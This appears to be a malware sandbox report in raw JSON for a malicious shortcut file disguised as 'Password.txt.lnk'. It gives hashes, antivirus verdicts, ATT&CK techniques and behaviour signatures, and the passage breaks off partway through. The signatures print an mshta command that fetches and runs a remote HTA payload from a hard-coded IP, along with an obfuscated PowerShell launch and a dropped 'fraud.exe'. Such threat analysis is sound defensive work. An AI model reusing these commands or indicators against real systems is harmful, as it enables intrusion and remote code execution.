uac1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790734414970,"unified_at":"2026-09-30T02:13:34.970Z","metadata":{"hashes":{"sha256":"4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd","sha1":"40c88959ed1b9cd4a3b1db63f591767556099966","md5":"312924b5621af460700519460fda83e8","sha512":"49354753005d8cc0ccbdd4bbe66d0980d4c47288713878dc548471f5f2c8d3e9a25c930d98f2b4028f97743ccf07b5a1bbec80645ba31b5787648d8e2c10d107","ssdeep":"48:8t6EqCDZEVH4cc2jU+CxLWj3QFvlNgqxf9KHakQC:8t6E3ZUdjA9vgcfUH","ssdeep_chunks":["48:8t6EqCD","48:t6EqCDZ","48:6EqCDZE","48:EqCDZEV","48:qCDZEVH","48:CDZEVH4","48:DZEVH4c","48:ZEVH4cc","48:EVH4cc2","48:VH4cc2j","48:H4cc2jU","48:4cc2jU+","48:cc2jU+C","48:c2jU+Cx","48:2jU+CxL","48:jU+CxLW","48:U+CxLWj","48:+CxLWj3","48:CxLWj3Q","48:xLWj3QF","48:LWj3QFv","48:Wj3QFvl","48:j3QFvlN","48:3QFvlNg","48:QFvlNgq","48:FvlNgqx","48:vlNgqxf","48:lNgqxf9","48:Ngqxf9K","48:gqxf9KH","48:qxf9KHa","48:xf9KHak","48:f9KHakQ","48:9KHakQC","96:8t6EqCD","96:t6EqCDZ","96:6EqCDZE","96:EqCDZEV","96:qCDZEVH","96:CDZEVH4","96:DZEVH4c","96:ZEVH4cc","96:EVH4cc2","96:VH4cc2j","96:H4cc2jU","96:4cc2jU+","96:cc2jU+C","96:c2jU+Cx","96:2jU+CxL","96:jU+CxLW","96:U+CxLWj","96:+CxLWj3","96:CxLWj3Q","96:xLWj3QF","96:LWj3QFv","96:Wj3QFvl","96:j3QFvlN","96:3QFvlNg","96:QFvlNgq","96:FvlNgqx","96:vlNgqxf","96:lNgqxf9","96:Ngqxf9K","96:gqxf9KH","96:qxf9KHa","96:xf9KHak","96:f9KHakQ","96:9KHakQC","48:8t6E3ZU","48:t6E3ZUd","48:6E3ZUdj","48:E3ZUdjA","48:3ZUdjA9","48:ZUdjA9v","48:UdjA9vg","48:djA9vgc","48:jA9vgcf","48:A9vgcfU","48:9vgcfUH"],"imphash":"Unknown"},"file_info":{"file_name":"Password.txt.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":2557,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1653394957000,"last_seen":1653412122000,"last_multi_scan":1653412122000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["cobaltstrike","commodity","criminal","rat"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":13},"sandbox_signatures":{"informative_count":24,"suspicious_count":18,"malicious_count":8,"total":50},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"LNK/PSRunner.VPHQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/LNK.NetLoader.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"LNK.Exploit.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/LnkObf-G","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Link.ShellCmd","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Defense Evasion","technique":"Mshta","attack_id":"T1218.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/005","identifiers":[{"type":"malicious","value":"Detected MSHTA process execution"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Defense Evasion","technique":"NTFS File Attributes","attack_id":"T1564.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/004","identifiers":[{"type":"malicious","value":"Checks for a resource fork (ADS) file"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Reads the registry for installed applications"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Monitors specific registry key for changes"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"EXECUTABLETYPES\")\n \"NOTEPAD.EXE\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"fraud.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"NOTEPAD.EXE\" queries volume information of \"%APPDATA%\\fuckusaterrorists.txt\" at 00000000-00003040-00000046-758664","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\FRAUD.EXE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\FRAUD.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\NOTEPAD.EXE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\NOTEPAD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"54.80.204.133:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"!IECompat!Mutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\.net clr networking\"\n \"_SHuassist.mtx\"\n \"RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"ThemeApiConnectionRequest\" (Indicator: \"ThemeApiConnectionRequest\") in Source: 00000000-00001948-0000008F-625725","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at EC760000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at EBDC0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$25","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"mshta.exe\" (UID: 00000000-00001948) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, PSModulePath, ProgramFiles\"\n Process \"mshta.exe\" (UID: 00000000-00001948) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"NOTEPAD.EXE\" (UID: 00000000-00003040) was launched with new environment variables: \"PSExecutionPolicyPreference=\"Unrestricted\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Reads configuration files","description":"\"powershell.exe\" read file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" read file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" read file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" read file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" read file \"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"References url in command line","description":"Process \"mshta.exe\" with commandline \"http://54.80.204.133:80/terror.hta\" (UID: 00000000-00001948)","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"mshta.exe\" with commandline \"http://54.80.204.133:80/terror.hta\" (UID: 00000000-00001948)\n Spawned process \"powershell.exe\" with commandline \"-ExecutionPolicy UnRestricted function gqRMAA($CJNRkiQJ, $yxBWmL ...\" (UID: 00000000-00002776)\n Spawned process \"NOTEPAD.EXE\" with commandline \"%APPDATA%\\fuckusaterrorists.txt\" (UID: 00000000-00003040)\n Spawned process \"fraud.exe\" (UID: 00000000-00003256)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"mshta.exe\" with commandline \"http://54.80.204.133:80/terror.hta\" (UID: 00000000-00001948)\n Spawned process \"powershell.exe\" with commandline \"-ExecutionPolicy UnRestricted function gqRMAA($CJNRkiQJ, $yxBWmL ...\" (UID: 00000000-00002776)\n Spawned process \"NOTEPAD.EXE\" with commandline \"%APPDATA%\\fuckusaterrorists.txt\" (UID: 00000000-00003040)\n Spawned process \"fraud.exe\" (UID: 00000000-00003256)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"NOTEPAD.EXE\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"fraud.exe\" has type \"PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows\"- Location: [%APPDATA%\\fraud.exe]\n\n \"V1H6HUPEVFB04T76N9CO.temp\" has type \"data\"- Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\V1H6HUPEVFB04T76N9CO.temp]\n\n \"G65JRM29BNRQS8IF46NC.temp\" has type \"data\"- Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\G65JRM29BNRQS8IF46NC.temp]\n\n \"fuckusaterrorists.txt\" has type \"ASCII text with no line terminators\"- Location: [%APPDATA%\\fuckusaterrorists.txt]","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops executable files","description":"\"fraud.exe\" has type \"PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows\"- Location: [%APPDATA%\\fraud.exe]","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://54.80.204.133:80/terror.hta\"\n Pattern match: \"http://www.w3.org/1999/xhtml\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\G65JRM29BNRQS8IF46NC.temp\" with delete access\n \"powershell.exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\SECURITY.CONFIG.CCH.4016.1032609\" with delete access\n \"powershell.exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\ENTERPRISESEC.CONFIG.CCH.4016.1032609\" with delete access\n \"powershell.exe\" opened \"%APPDATA%\\Microsoft\\CLR SECURITY CONFIG\\V2.0.50727.312\\64BIT\\SECURITY.CONFIG.CCH.4016.1032625\" with delete access\n \"powershell.exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\SECURITY.CONFIG.CCH.2776.1052984\" with delete access\n \"powershell.exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\ENTERPRISESEC.CONFIG.CCH.2776.1052984\" with delete access\n \"powershell.exe\" opened \"%APPDATA%\\Microsoft\\CLR SECURITY CONFIG\\V2.0.50727.312\\64BIT\\SECURITY.CONFIG.CCH.2776.1053187\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"fraud.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"NOTEPAD.EXE\" opened \"\\Device\\KsecDD\"\n \"fraud.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$27","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00000000-00001948-00000033-2925394\n \"fraud.exe\" at 00000000-00003256-00000033-3307964","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"fraud.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"fraud.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"3/92 reputation engines marked \"http://54.80.204.133/terror.hta\" as malicious (3% detection rate)\n 4/92 reputation engines marked \"http://54.80.204.133\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/58 Antivirus vendors marked sample as malicious (17% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"$29","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"628cce0df25b22247a59c84e"}]},{"level":"suspicious","category":"General","name":"The analysis extracted a file that was 